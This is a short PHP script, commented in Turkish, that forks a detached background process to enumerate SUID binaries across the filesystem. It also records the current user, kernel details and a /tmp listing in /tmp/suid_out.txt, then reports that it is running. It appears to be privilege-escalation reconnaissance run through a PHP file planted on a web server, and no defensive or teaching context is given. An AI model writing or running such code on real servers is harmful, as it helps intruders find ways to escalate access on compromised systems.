<?php
$pid = pcntl_fork();
if ($pid == 0) {
    // child: setsid ile daemon, find yaz
    posix_setsid();
    pcntl_exec('/bin/sh', ['-c', 
        'find / -perm -4000 -type f 2>/dev/null > /tmp/suid_out.txt 2>&1; '.
        'id >> /tmp/suid_out.txt; '.
        'uname -a >> /tmp/suid_out.txt; '.
        'ls /tmp/ >> /tmp/suid_out.txt'
    ]);
} else {
    echo json_encode(["forked"=>$pid,"status"=>"bg_running"]);
}